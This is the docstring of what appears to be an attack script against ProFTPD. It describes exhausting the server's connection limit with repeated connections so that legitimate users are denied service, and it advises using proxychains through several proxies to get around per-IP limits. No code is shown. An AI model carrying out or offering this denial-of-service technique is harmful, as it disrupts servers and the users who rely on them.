"""
ProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
(if it's limited, just run this script from different proxies using proxychains, and it will work)
